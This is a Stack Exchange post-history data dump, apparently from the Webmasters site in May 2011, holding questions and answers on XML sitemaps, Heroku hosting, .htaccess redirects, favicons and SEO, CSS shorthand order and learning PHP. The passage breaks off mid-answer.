  <row Id="32970" PostHistoryTypeId="5" PostId="14124" RevisionGUID="b23c67ae-d8c0-4669-890b-2dcb4ceee9b5" CreationDate="2011-05-20T13:15:07.687" UserId="7474" Comment="cleaned up link" Text="You could extend the header to include the schema stuff:&#xD;&#xA;&#xD;&#xA;    &lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&#xD;&#xA;    xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&#xD;&#xA;    xsi:schemaLocation=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&#xD;&#xA;    http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd&quot;&gt;&#xD;&#xA;&#xD;&#xA;and then [validate online](http://www.xmlvalidation.com/)&#xD;&#xA;&#xD;&#xA;If it passes that it must be Google's problem.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32971" PostHistoryTypeId="24" PostId="14124" RevisionGUID="b23c67ae-d8c0-4669-890b-2dcb4ceee9b5" CreationDate="2011-05-20T13:15:07.687" Comment="Proposed by 7474 approved by 108 edit id of 317" />
  <row Id="32972" PostHistoryTypeId="5" PostId="14121" RevisionGUID="894a43b6-d98a-4a58-b0d6-809fa8f91043" CreationDate="2011-05-20T13:39:17.543" UserId="7474" Comment="added solution (not the correct answer)" Text="We're running a lot of sites and we've started to get a lot of these errors in Webmaster Tools:&#xD;&#xA;&gt;Sitemap is HTML  &#xD;&#xA;Your Sitemap appears to be an HTML page. Please use a supported sitemap format instead.&#xD;&#xA;&#xD;&#xA;One of the problematic sitemaps:&#xD;&#xA;    &#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt; &#xD;&#xA;    &lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt; &#xD;&#xA;        &lt;url&gt; &#xD;&#xA;            &lt;loc&gt;http://www.same_domain.co.uk/folder/file1.shtml&lt;/loc&gt; &#xD;&#xA;            &lt;lastmod&gt;2011-05-11&lt;/lastmod&gt; &#xD;&#xA;            &lt;changefreq&gt;weekly&lt;/changefreq&gt; &#xD;&#xA;            &lt;priority&gt;0.5&lt;/priority&gt; &#xD;&#xA;        &lt;/url&gt; &#xD;&#xA;        &lt;url&gt; &#xD;&#xA;            &lt;loc&gt;http://www.same_domain.co.uk/folder/file2.shtml&lt;/loc&gt; &#xD;&#xA;            &lt;lastmod&gt;2011-05-11&lt;/lastmod&gt; &#xD;&#xA;            &lt;changefreq&gt;weekly&lt;/changefreq&gt; &#xD;&#xA;            &lt;priority&gt;0.5&lt;/priority&gt; &#xD;&#xA;        &lt;/url&gt; &#xD;&#xA;        &lt;url&gt; &#xD;&#xA;            &lt;loc&gt;http://www.same_domain.co.uk/folder/file3.shtml&lt;/loc&gt; &#xD;&#xA;            &lt;lastmod&gt;2011-05-11&lt;/lastmod&gt; &#xD;&#xA;            &lt;changefreq&gt;weekly&lt;/changefreq&gt; &#xD;&#xA;            &lt;priority&gt;0.5&lt;/priority&gt; &#xD;&#xA;        &lt;/url&gt; &#xD;&#xA;        &lt;url&gt; &#xD;&#xA;            &lt;loc&gt;http://www.same_domain.co.uk/folder/file4.shtml&lt;/loc&gt; &#xD;&#xA;            &lt;lastmod&gt;2011-05-11&lt;/lastmod&gt; &#xD;&#xA;            &lt;changefreq&gt;weekly&lt;/changefreq&gt; &#xD;&#xA;            &lt;priority&gt;0.5&lt;/priority&gt; &#xD;&#xA;        &lt;/url&gt; &#xD;&#xA;    &lt;/urlset&gt;&#xD;&#xA;&#xD;&#xA;##Why would GWTs think this is anything but XML?&#xD;&#xA;&#xD;&#xA;(Server: IIS)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;###Edit:&#xD;&#xA;&gt;&quot;This document was successfully checked as well-formed XML!&quot; -W3C Validator.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##Edit:  &#xD;&#xA;I resubmitted two problematic sitemaps, one with no changes, and one with a couple of extra lines to ensure it's treated as XML. Ran the &quot;Fetch as Googlebot&quot; diagnostic tool. Both are fine now. I'm just going to re-submit all sitemaps with the &quot;Sitemap is HTML&quot; error&#xD;&#xA;&#xD;&#xA;The question remains:  &#xD;&#xA;#Why did this happen? Why did GWTs think these XML sitemaps were HTML?&#xD;&#xA;" />
  <row Id="32973" PostHistoryTypeId="17" PostId="14136" RevisionGUID="c7e94da9-b9fb-4cb1-80f2-f67219ab2fb5" CreationDate="2011-05-20T13:50:56.470" UserId="-1" Comment="from http://stackoverflow.com/questions/6038239/hosting-a-website-on-heroku-i-know-how-to-but-im-running-into-problems/6038623#6038623" Text="" />
  <row Id="32974" PostHistoryTypeId="2" PostId="14136" RevisionGUID="e0d31b3e-9c0d-4a37-b72a-c8a3a0ab49fa" CreationDate="2011-05-18T00:23:35.850" UserDisplayName="Steve Wilhelm" Text="Can you edit your question to include the contents of your Heroku log file.&#xD;&#xA;&#xD;&#xA;    heroku logs -n 500 --app your_app_name&#xD;&#xA;&#xD;&#xA;The url is http://pxlc.heroku.com, note the lack of www. It is returning the following HTML file&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt; &#xD;&#xA;    &lt;html&gt; &#xD;&#xA;       &lt;head&gt; &#xD;&#xA;          &lt;title&gt;&lt;/title&gt; &#xD;&#xA;          &lt;link type=&quot;text/css&quot; rel=&quot;stylesheet&quot; href=&quot;style.css&quot; /&gt; &#xD;&#xA;          &lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/mootools/1.3.1/mootools-yui-compressed.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt; &#xD;&#xA;       &lt;/head&gt; &#xD;&#xA;       &lt;body&gt; &#xD;&#xA;       &lt;/body&gt; &#xD;&#xA;    &lt;/html&gt;" />
  <row Id="32975" PostHistoryTypeId="2" PostId="14135" RevisionGUID="b030f75c-c4a9-4b8d-8913-b5fe659190d8" CreationDate="2011-05-17T23:16:54.763" UserDisplayName="Thomas Miller" Text="I'm starting to learn more on the back-end scale of programing.&#xD;&#xA;&#xD;&#xA;Recently I started up Heroku for the second or third time. This time I actually installed the Git update to my Mac and installed Heroku in the terminal.&#xD;&#xA;&#xD;&#xA;I wanted to upload a static html site with the sinatra gem. Everything worked out fine inside the terminal, though I added sinatra after I got everything working and the file with the site hooked up to Heroku. In my logs I did see that I was missing the sinatra gem, so I installed it. &#xD;&#xA;&#xD;&#xA;My site contains both the proper `app.rb` and `config.ru` files. &#xD;&#xA;I have nothing showing up online. Just a blank screen! &#xD;&#xA;&#xD;&#xA;Contacting Heroku on this problem has been very difficult. I get a responce every day, and on every day I respond with a question to the answer that didn't help me at all. &#xD;&#xA;" />
  <row Id="32976" PostHistoryTypeId="1" PostId="14135" RevisionGUID="b030f75c-c4a9-4b8d-8913-b5fe659190d8" CreationDate="2011-05-17T23:16:54.763" UserDisplayName="Thomas Miller" Text="Hosting a website on Heroku.... I know how to, but im running into problems!" />
  <row Id="32977" PostHistoryTypeId="3" PostId="14135" RevisionGUID="b030f75c-c4a9-4b8d-8913-b5fe659190d8" CreationDate="2011-05-17T23:16:54.763" UserDisplayName="Thomas Miller" Text="&lt;html&gt;&lt;git&gt;" />
  <row Id="32978" PostHistoryTypeId="17" PostId="14135" RevisionGUID="ff4eea65-f00c-4b76-b32c-76ef8547dd5c" CreationDate="2011-05-20T13:50:56.470" UserId="-1" Comment="from http://stackoverflow.com/questions/6038239/hosting-a-website-on-heroku-i-know-how-to-but-im-running-into-problems" Text="" />
  <row Id="32979" PostHistoryTypeId="2" PostId="14137" RevisionGUID="b96ba87e-8e1f-48fa-a675-d759730d3b2e" CreationDate="2011-05-20T14:17:07.063" UserId="7686" Text="I recently switched sites from janeullah.com (which had an A dns entry pointing to janeullah.zenfolio.com) to janeullahphotography.com. I'm on Dreamhost, currently have A record on janeullah.com going to blog.janeullah.com and using Google Apps for Email.&#xD;&#xA;&#xD;&#xA;I'm trying to set up a rewrite rule which (for now) redirects anyone who clicks on janeullah.com/xxxx/xxx or janeullah.com/z/s/z to:&#xD;&#xA;janeullahphotography.com/xxx/xxx or janeullah.com/z/s/z&#xD;&#xA;&#xD;&#xA;These are the .htaccess contents I've tried that didn't redirect&#xD;&#xA;Options +FollowSymLinks&#xD;&#xA;RewriteEngine on&#xD;&#xA;RewriteRule (.*) http://janeullahphotography.com/$1 [R=301,L] &#xD;&#xA;&#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;RewriteEngine on&#xD;&#xA;RewriteCond %{HTTP_HOST} !^janeullah.com$ [NC]&#xD;&#xA;RewriteRule ^(.*)$ http://janeullahphotography.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;Typing in janeullah.com/weddings doesn't redirect to janeullahphotography.com/weddings and even when I entered garbage into the .htaccess file, nothing happened and makes me suspect the .htaccess file is being ignored.&#xD;&#xA;&#xD;&#xA;Specific pointers about what I'm doing wrong will be greatly appreciated. " />
  <row Id="32980" PostHistoryTypeId="1" PostId="14137" RevisionGUID="b96ba87e-8e1f-48fa-a675-d759730d3b2e" CreationDate="2011-05-20T14:17:07.063" UserId="7686" Text="mod rewrite help needed to redirect old domain to new domain" />
  <row Id="32981" PostHistoryTypeId="3" PostId="14137" RevisionGUID="b96ba87e-8e1f-48fa-a675-d759730d3b2e" CreationDate="2011-05-20T14:17:07.063" UserId="7686" Text="&lt;htaccess&gt;&lt;mod-rewrite&gt;" />
  <row Id="32982" PostHistoryTypeId="5" PostId="14137" RevisionGUID="d900f919-1b7e-4971-808c-6d4576be5d09" CreationDate="2011-05-20T14:18:54.987" UserId="1253" Comment="Formatted code" Text="I recently switched sites from janeullah.com (which had an A dns entry pointing to janeullah.zenfolio.com) to janeullahphotography.com. I'm on Dreamhost, currently have A record on janeullah.com going to blog.janeullah.com and using Google Apps for Email.&#xD;&#xA;&#xD;&#xA;I'm trying to set up a rewrite rule which (for now) redirects anyone who clicks on janeullah.com/xxxx/xxx or janeullah.com/z/s/z to:&#xD;&#xA;janeullahphotography.com/xxx/xxx or janeullah.com/z/s/z&#xD;&#xA;&#xD;&#xA;These are the .htaccess contents I've tried that didn't redirect&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule (.*) http://janeullahphotography.com/$1 [R=301,L] &#xD;&#xA;&#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^janeullah.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://janeullahphotography.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;Typing in janeullah.com/weddings doesn't redirect to janeullahphotography.com/weddings and even when I entered garbage into the .htaccess file, nothing happened and makes me suspect the .htaccess file is being ignored.&#xD;&#xA;&#xD;&#xA;Specific pointers about what I'm doing wrong will be greatly appreciated. " />
  <row Id="32983" PostHistoryTypeId="6" PostId="14137" RevisionGUID="d900f919-1b7e-4971-808c-6d4576be5d09" CreationDate="2011-05-20T14:18:54.987" UserId="1253" Comment="Formatted code" Text="&lt;htaccess&gt;&lt;mod-rewrite&gt;&lt;301-redirect&gt;" />
  <row Id="32984" PostHistoryTypeId="2" PostId="14138" RevisionGUID="3db7a55c-425b-492b-a1b3-a4c254f19fbb" CreationDate="2011-05-20T14:19:48.387" UserId="1253" Text="Try this:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www\.)?janeullaht\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://janeullahphotography.com/$1 [R=301,L]" />
  <row Id="32985" PostHistoryTypeId="12" PostId="14138" RevisionGUID="1dfd3afd-ffe2-4101-97eb-2e3e3ec61839" CreationDate="2011-05-20T14:20:12.473" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="32986" PostHistoryTypeId="5" PostId="14138" RevisionGUID="eddbfd8f-4703-4ccf-b0fe-07f3ba2bf33d" CreationDate="2011-05-20T14:28:23.730" UserId="1253" Comment="added 184 characters in body; deleted 1 characters in body; added 51 characters in body" Text="I don't know why your htaccess isn't being honored. But my best guess is your host has disallowed htaccess overrides. You should contact them to find out.&#xD;&#xA;&#xD;&#xA;As for the htaccess code, try this:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www\.)?janeullah\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://janeullahphotography.com/$1 [R=301,L]" />
  <row Id="32987" PostHistoryTypeId="13" PostId="14138" RevisionGUID="5829674a-6ce0-411c-808c-0ffdd0426971" CreationDate="2011-05-20T14:28:27.227" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="32994" PostHistoryTypeId="2" PostId="14140" RevisionGUID="40cdfa88-4825-4b32-9ad6-d236ca035b58" CreationDate="2011-05-20T15:10:01.600" UserId="7474" Text="[Something happened](http://webmasters.stackexchange.com/questions/14121/google-webmaster-tools-says-my-xml-sitemap-appears-to-be-an-html-page/14124#14124) and I need to resubmit A LOT of sitemaps across a lot of domains.  &#xD;&#xA;Is there any way I can submit all sitemaps/all errorful sitemaps per domain even? It would make things easier for me." />
  <row Id="32995" PostHistoryTypeId="1" PostId="14140" RevisionGUID="40cdfa88-4825-4b32-9ad6-d236ca035b58" CreationDate="2011-05-20T15:10:01.600" UserId="7474" Text="Is there anyway to re-submit all sitemaps in Google Webmaster Tools at once for a domain?" />
  <row Id="32996" PostHistoryTypeId="3" PostId="14140" RevisionGUID="40cdfa88-4825-4b32-9ad6-d236ca035b58" CreationDate="2011-05-20T15:10:01.600" UserId="7474" Text="&lt;google-webmaster-tools&gt;&lt;sitemap&gt;&lt;automation&gt;" />
  <row Id="32997" PostHistoryTypeId="25" PostId="14140" RevisionGUID="62993100-d21d-4d54-a1a3-40c7cbd887ca" CreationDate="2011-05-20T15:12:25.440" Comment="http://twitter.com/#!/StackWebmasters/status/71594129502646273" />
  <row Id="32998" PostHistoryTypeId="2" PostId="14141" RevisionGUID="d8acbf8b-2479-44dd-b3da-2327089ed20d" CreationDate="2011-05-20T15:30:59.443" UserId="7474" Text="#Pre-defined:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###Completely supported:&#xD;&#xA;&#xD;&#xA; - English&#xD;&#xA;&#xD;&#xA;###Partially supported:  &#xD;&#xA;&#xD;&#xA; - Dutch&#xD;&#xA; - French&#xD;&#xA; - German&#xD;&#xA; - Portuguese&#xD;&#xA; - Russian&#xD;&#xA; - Spanish&#xD;&#xA; - Turkish &#xD;&#xA;&#xD;&#xA;_&quot;play sound again&quot;, &quot;download sound as MP3&quot;, and entire manual (JavaScript-independent) challenge in English_.&#xD;&#xA;&#xD;&#xA;###Barely supported:&#xD;&#xA;&#xD;&#xA; - Italian&#xD;&#xA;&#xD;&#xA;_&quot;play sound again&quot;, &quot;download sound as MP3&quot;, entire manual (JavaScript-independent) challenge, **plus** audio challenge &amp;=and help popup in English_.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;#Custom Translations:&#xD;&#xA;Custom translations can be written for any language, but the audio challenge, help popup, and manual (JavaScript-independent) challenge will always be in English.&#xD;&#xA;&#xD;&#xA;The custom translations are defined using Javascript that's why they won't work when the manual challenge is being used. Note: The manual challenge is displayed in an iframe (can't edit it) and includes the following text (always in English):&#xD;&#xA;&#xD;&#xA;&gt;&quot;We need to make sure you are a human. Please solve the challenge below, and click the I'm a Human button to get a confirmation code. To make this process easier in the future, we recommend you enable Javascript&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;_Note: Latin/Roman alphabet is the only supported alphabet._" />
  <row Id="32999" PostHistoryTypeId="2" PostId="14142" RevisionGUID="a30da8b6-477b-45ea-b39d-e31cd15799de" CreationDate="2011-05-20T15:34:56.193" UserId="7198" Text="You could create a &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=71453&quot;&gt;sitemapindex&lt;/a&gt; for each domain that lists all sitemaps for that domain: &#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;    &lt;sitemapindex xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;&#xD;&#xA;        &lt;sitemap&gt;&#xD;&#xA;            &lt;loc&gt;http://www.example.com/sitemap1.xml&lt;/loc&gt;&#xD;&#xA;            &lt;lastmod&gt;2011-01-01T18:23:17+00:00&lt;/lastmod&gt;&#xD;&#xA;        &lt;/sitemap&gt;&#xD;&#xA;        &lt;sitemap&gt;&#xD;&#xA;            &lt;loc&gt;http://www.example.com/sitemap2.xml&lt;/loc&gt;&#xD;&#xA;            &lt;lastmod&gt;2011-01-01&lt;/lastmod&gt;&#xD;&#xA;        &lt;/sitemap&gt;&#xD;&#xA;    &lt;/sitemapindex&gt;&#xD;&#xA;&#xD;&#xA;This will prevent you from having to submit multiple sitemaps for each domain, at least. It also serves as a workaround for the 50,000 page limit for sitemaps, if you ever need to submit more 50,000 pages. (Each sitemap in the sitemap index can have up to 50,000 entries.)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33000" PostHistoryTypeId="2" PostId="14143" RevisionGUID="0bc3405e-0c78-4be6-ac72-8645b4f63be0" CreationDate="2011-05-20T16:43:09.887" UserId="7693" Text="I'm looking for advice about favicons and their impacts on search engines. Recently I noticed a site called [andriasang][1] which changes its favicon every time you load another page without losing overall recognition of the favicon style. I'd like to incorporate this into my site as well but am I taking any SEO risks here?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.andriasang.com/e/" />
  <row Id="33001" PostHistoryTypeId="1" PostId="14143" RevisionGUID="0bc3405e-0c78-4be6-ac72-8645b4f63be0" CreationDate="2011-05-20T16:43:09.887" UserId="7693" Text="Does favicon have any impact on SEO?" />
  <row Id="33002" PostHistoryTypeId="3" PostId="14143" RevisionGUID="0bc3405e-0c78-4be6-ac72-8645b4f63be0" CreationDate="2011-05-20T16:43:09.887" UserId="7693" Text="&lt;seo&gt;&lt;favicon&gt;" />
  <row Id="33003" PostHistoryTypeId="2" PostId="14144" RevisionGUID="379ea4fa-c581-49d8-b740-ba41b490c583" CreationDate="2011-05-20T16:47:26.880" UserId="6033" Text="Favicon is for human recognition of a brand. A search engine has little reason to pay attention to that file. What concerns do you have about rotating that file in regards to how a search engine indexes and ranks your site?" />
  <row Id="33004" PostHistoryTypeId="2" PostId="14145" RevisionGUID="32d6e180-2c96-4536-bad6-9109c1281064" CreationDate="2011-05-20T16:50:28.730" UserId="296" Text="in your opinion, Are the actual search engine not democratic ? &#xD;&#xA;&#xD;&#xA;For instance: i want to open an ecommerce and sell my stuff.. But if i've no money to advertise my website, i can't get people and traffic to it. I also can't buy adWord campaign... At the end i never result on top of any search engine. Is it right ?&#xD;&#xA;&#xD;&#xA;So my last consideration is that today, &quot;Internet&quot; and the principal door over it  (Google..Bing.. Facebook.. etc) work as the old economy model: if you have money you became big and bigger, instead, the small fish will die.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="33005" PostHistoryTypeId="1" PostId="14145" RevisionGUID="32d6e180-2c96-4536-bad6-9109c1281064" CreationDate="2011-05-20T16:50:28.730" UserId="296" Text="Is today Internet/Search engine... democratic ?" />
  <row Id="33006" PostHistoryTypeId="3" PostId="14145" RevisionGUID="32d6e180-2c96-4536-bad6-9109c1281064" CreationDate="2011-05-20T16:50:28.730" UserId="296" Text="&lt;search-engines&gt;" />
  <row Id="33007" PostHistoryTypeId="2" PostId="14146" RevisionGUID="6891f8d3-afc0-45cc-9265-fb8e32b696a6" CreationDate="2011-05-20T17:08:01.620" UserId="2739" Text="Google Calendar has just started changing it's favicon on a daily basis (relating to the date).  I'd say it's a safe bet that if they're doing it then it has ***no*** influence on the SEO." />
  <row Id="33008" PostHistoryTypeId="2" PostId="14147" RevisionGUID="e5034e7a-6442-4f1a-adc7-3a8fb05dcb36" CreationDate="2011-05-20T17:28:21.970" UserId="1253" Text="Favicons are just tiny images in the address bar. They aren't content. So how can they have any effect on SEO?" />
  <row Id="33009" PostHistoryTypeId="10" PostId="14145" RevisionGUID="15b69078-e84b-47b9-aca4-29d6fe1aef35" CreationDate="2011-05-20T17:29:01.267" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="33010" PostHistoryTypeId="25" PostId="14143" RevisionGUID="98436f88-e41b-4109-b9d0-c3a149721708" CreationDate="2011-05-20T18:12:27.047" Comment="http://twitter.com/#!/StackWebmasters/status/71639433526513664" />
  <row Id="33011" PostHistoryTypeId="2" PostId="14148" RevisionGUID="da7d021b-623f-4431-ab78-09ec7bcaf0a7" CreationDate="2011-05-20T18:15:23.707" UserId="1064" Text="Farseeker's suggestion is a good first step in troubleshooting (a `text/html` content-type would certainly produce this result) - Google Webmaster Tools should display a *different* error message if the sitemap file contains invalid XML.&#xD;&#xA;&#xD;&#xA;Given the temporary nature of the issue, have you checked your server logs to determine whether an error page was produced on Google's prior requests?&#xD;&#xA;&#xD;&#xA;If you are dynamically generating sitemap files, a scripting error, database timeout, or other issue could produce an HTML error page intermittently." />
  <row Id="33012" PostHistoryTypeId="2" PostId="14149" RevisionGUID="735ed552-2011-46b8-a8a8-783dc1003151" CreationDate="2011-05-20T18:45:04.853" UserId="7694" Text="I want to publish articles at a multilingual site.&#xD;&#xA;&#xD;&#xA;1. I want to be able to write an article in two languages and have them available on separate URLs:&#xD;&#xA;&#xD;&#xA; - thesite.foo/english-breakfast&#xD;&#xA; - thesite.com/engelsk-frukost&#xD;&#xA;&#xD;&#xA;2. If the users web browser is set to English I'd like to show a small notice at the top of the Swedish version with a link to the English one. The link should have an appropriate rel attribute for a translation (search for hreflang at http://diveintohtml5.org/semantics.html).&#xD;&#xA;&#xD;&#xA;3. There should be a way to list all articles belonging to these sets: Swedish only, English only, Swedish versions + English only, English versions + Swedish only. I'd like to publish these as four RSS-feeds. And I would like to have two versions of the main site, one in Swedish (showing Swedish versions + English only) and one in English (showing English versions).&#xD;&#xA;&#xD;&#xA;4. I shall be able to write the articles using Markdown, as that is the formatting language I find most convenient.&#xD;&#xA;&#xD;&#xA;5. There should be a way for users to comment. And some kind of way for me to protect myself against comment spam.&#xD;&#xA;&#xD;&#xA;I am leaning towards learning Drupal. I suspect I'll have to code this behavior myself as a module. To be frank I'd rather work with Java. Is Drupal the way to go? Or is there something more suitable for this project?" />
  <row Id="33013" PostHistoryTypeId="1" PostId="14149" RevisionGUID="735ed552-2011-46b8-a8a8-783dc1003151" CreationDate="2011-05-20T18:45:04.853" UserId="7694" Text="What to choose for a multilingual site with support for Markdown and commenting" />
  <row Id="33014" PostHistoryTypeId="3" PostId="14149" RevisionGUID="735ed552-2011-46b8-a8a8-783dc1003151" CreationDate="2011-05-20T18:45:04.853" UserId="7694" Text="&lt;drupal&gt;&lt;multilingual&gt;" />
  <row Id="33015" PostHistoryTypeId="6" PostId="13850" RevisionGUID="5cd734d2-39a2-4b60-85ee-e6f8d83def39" CreationDate="2011-05-20T19:33:48.990" UserId="1253" Comment="modified tags" Text="&lt;seo&gt;&lt;google&gt;&lt;social-media&gt;" />
  <row Id="33016" PostHistoryTypeId="2" PostId="14150" RevisionGUID="7c03bdfe-1701-4dc0-adee-9629b32e8d77" CreationDate="2011-05-20T20:29:08.060" UserId="7696" Text="When using CSS what little tricks have you done to remember (perhaps a saying?) the order of left, top, right, bottom when defining combined CSS attributes such as border, margin and padding. &#xD;&#xA;&#xD;&#xA;Im forever forgetting and google seems populated with crap like w3school" />
  <row Id="33017" PostHistoryTypeId="1" PostId="14150" RevisionGUID="7c03bdfe-1701-4dc0-adee-9629b32e8d77" CreationDate="2011-05-20T20:29:08.060" UserId="7696" Text="Remembering CSS Left, Top, Right, Bottom" />
  <row Id="33018" PostHistoryTypeId="3" PostId="14150" RevisionGUID="7c03bdfe-1701-4dc0-adee-9629b32e8d77" CreationDate="2011-05-20T20:29:08.060" UserId="7696" Text="&lt;css&gt;" />
  <row Id="33019" PostHistoryTypeId="2" PostId="14151" RevisionGUID="9bdfb13b-e582-46a4-a702-9a971508be7f" CreationDate="2011-05-20T20:35:58.107" UserId="1253" Text="They all go [clockwise][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Clockwise" />
  <row Id="33020" PostHistoryTypeId="2" PostId="14152" RevisionGUID="71a45c97-4a77-411d-b639-588899e22802" CreationDate="2011-05-20T20:36:29.260" UserId="7198" Text="I remember it by visualising a clock face: starting at 12 o'clock (top), then moving to 3 o'clock (right), then 6 o'clock (bottom) and finally 9 o'clock (left)." />
  <row Id="33021" PostHistoryTypeId="25" PostId="14150" RevisionGUID="9f5483b8-23ac-4366-a7ac-3fbbe1148f55" CreationDate="2011-05-20T21:12:27.413" Comment="http://twitter.com/#!/StackWebmasters/status/71684734891200512" />
  <row Id="33022" PostHistoryTypeId="2" PostId="14153" RevisionGUID="9b04e1e5-5ff4-4e79-bf85-7b2d760f53dc" CreationDate="2011-05-20T21:28:22.587" UserId="7628" Text="I'm working on a customization of the &quot;Samples&quot; block on Products. Basically what I need to know is how to get the file name from a sample.&#xD;&#xA;&#xD;&#xA;So, I can use the following code in my view to get an array of samples:&#xD;&#xA;&#xD;&#xA;    &lt;?php $_samples = $this-&gt;getSamples() ?&gt;&#xD;&#xA;&#xD;&#xA;... and I can iterate over those samples well enough. What I'm trying to figure out, is, how can I get the name of the file associated with that sample? I basically want to do a customization to the view where, if the sample file is an MP3, I display an embedded player. For all other file types, the default behavior (a link is shown, which when clicked, opens a new window and displays the sample) is perfectly fine." />
  <row Id="33023" PostHistoryTypeId="1" PostId="14153" RevisionGUID="9b04e1e5-5ff4-4e79-bf85-7b2d760f53dc" CreationDate="2011-05-20T21:28:22.587" UserId="7628" Text="Downloadable sample file type" />
  <row Id="33024" PostHistoryTypeId="3" PostId="14153" RevisionGUID="9b04e1e5-5ff4-4e79-bf85-7b2d760f53dc" CreationDate="2011-05-20T21:28:22.587" UserId="7628" Text="&lt;php&gt;&lt;magento&gt;" />
  <row Id="33025" PostHistoryTypeId="5" PostId="14151" RevisionGUID="d3952ae9-ed04-453f-8c38-7bf654b368e7" CreationDate="2011-05-20T21:32:42.460" UserId="4502" Comment="Added origin point." Text="They all go [clockwise][1], starting from top. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Clockwise" />
  <row Id="33026" PostHistoryTypeId="24" PostId="14151" RevisionGUID="d3952ae9-ed04-453f-8c38-7bf654b368e7" CreationDate="2011-05-20T21:32:42.460" Comment="Proposed by 4502 approved by 1064 edit id of 318" />
  <row Id="33027" PostHistoryTypeId="4" PostId="14153" RevisionGUID="60e9fafb-ee1e-47b9-ad02-993d35e85fcc" CreationDate="2011-05-20T21:41:55.887" UserId="7628" Comment="edited title" Text="Getting the filename associated with a sample in the &quot;Downloadable Information&quot; area" />
  <row Id="33028" PostHistoryTypeId="2" PostId="14154" RevisionGUID="4ac80216-f605-4a80-9cf3-a85f0d94376d" CreationDate="2011-05-20T23:44:58.273" UserDisplayName="tyler" Text="I am trying to get into programming for web development and PHP seems like a good language to use for that.  I want to make complex sites with videos and member logins like a youtube... I didnt know whether I should learn another language before I learn PHP or if I should just start with PHP.  I have been trying to learn PHP from this book and have been having a difficult time starting and just dont know what to do with the info in the book.  Thanks I appreciate it" />
  <row Id="33029" PostHistoryTypeId="1" PostId="14154" RevisionGUID="4ac80216-f605-4a80-9cf3-a85f0d94376d" CreationDate="2011-05-20T23:44:58.273" UserDisplayName="tyler" Text="I am 16 and want to learn how to develop websites (complex sites with video and members).. what language do you suggest I learn?" />
  <row Id="33030" PostHistoryTypeId="3" PostId="14154" RevisionGUID="4ac80216-f605-4a80-9cf3-a85f0d94376d" CreationDate="2011-05-20T23:44:58.273" UserDisplayName="tyler" Text="&lt;php&gt;&lt;web-development&gt;&lt;video&gt;" />
  <row Id="33031" PostHistoryTypeId="17" PostId="14154" RevisionGUID="a07d6886-feb4-4ddc-bafd-07432730b44a" CreationDate="2011-05-20T23:49:31.147" UserId="-1" Comment="from http://stackoverflow.com/questions/6078620/i-am-16-and-want-to-learn-how-to-develop-websites-complex-sites-with-video-and-m" Text="" />
  <row Id="33032" PostHistoryTypeId="2" PostId="14155" RevisionGUID="d76b623e-1379-4653-b887-80bfc707c380" CreationDate="2011-05-21T00:11:22.070" UserId="7704" Text="PHP is as good starting point as any other and it's extremely popular.&#xD;&#xA;I would not start learning any frameworks without learning the language itself first.&#xD;&#xA;However I'd recommend really nailing down HTML/CSS and basic Javascript before getting to PHP/Ruby or C#. &#xD;&#xA;You also need some database knowledge - I would start with MysQL for sure, as Oracle is more complex.&#xD;&#xA;&#xD;&#xA;You can't really just learn a programming language on its own and build complex websites without good front-end and database knowledge.&#xD;&#xA;&#xD;&#xA;I'd recommend this book for starting with PHP/Mysql: &#xD;&#xA;http://www.amazon.com/PHP-MySQL-Dynamic-Web-Sites/dp/032152599X/ref=sr_1_1?ie=UTF8&amp;qid=1305936373&amp;sr=8-1&#xD;&#xA;&#xD;&#xA;And this one for javascript (it focuses on JQuery, but that's what you really 